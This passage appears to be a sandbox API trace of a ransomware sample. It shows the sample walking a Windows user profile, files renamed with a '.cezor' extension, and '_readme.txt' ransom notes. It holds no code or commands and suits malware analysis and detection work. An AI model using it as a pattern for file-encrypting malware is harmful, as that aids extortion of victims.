ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14797010, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14809430, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14809430, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.367] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.367] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.367] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.367] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.367] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.367] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.367] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.367] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.368] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.368] PathFindFileNameW (pszPath="") returned="" [0122.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.368] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.368] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0122.368] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0122.368] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0122.368] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0122.368] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.368] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.368] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0122.368] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.368] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.368] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.368] PathFindFileNameW (pszPath="") returned="" [0122.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0122.369] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0122.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.369] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.369] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.369] PathFindFileNameW (pszPath="") returned="" [0122.369] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14098f70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14098f70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x140009f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact.cezor", cAlternateFileName="ACLVIH~1.CEZ")) returned 1 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x14026b50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x10b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact.cezor", cAlternateFileName="ADMINI~1.CEZ")) returned 1 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x1404ccb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact.cezor", cAlternateFileName="ASDLFK~1.CEZ")) returned 1 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14072e10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact.cezor", cAlternateFileName="CHUCUJ~1.CEZ")) returned 1 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.369] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact.cezor", cAlternateFileName="LULCIT~1.CEZ")) returned 1 [0122.370] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.cezor", cAlternateFileName="SIKVNB~1.CEZ")) returned 1 [0122.370] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.cezor", cAlternateFileName="SIKVNB~1.CEZ")) returned 0 [0122.370] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.370] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0122.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.370] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.370] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.370] PathFindFileNameW (pszPath="") returned="" [0122.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.cezor", cAlternateFileName="SIKVNB~1.CEZ")) returned 0xffffffff [0122.370] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.370] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.370] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.370] PathFindFileNameW (pszPath="") returned="" [0122.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x142ae2b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x142ae2b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0x148556f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0oqCmMdMfyA -VyQ", cAlternateFileName="0OQCMM~1")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa6f1c0, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xd180f90, ftLastAccessTime.dwHighDateTime=0x1d4cc8e, ftLastWriteTime.dwLowDateTime=0x140e5230, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x156de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7FXGdv.mkv.cezor", cAlternateFileName="7FXGDV~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6203e00, ftCreationTime.dwHighDateTime=0x1d53558, ftLastAccessTime.dwLowDateTime=0xf6b8d480, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xf4ef1100, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x6fa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A959.tmp.exe", cAlternateFileName="A959TM~1.EXE")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x148c7b10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148c7b10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, 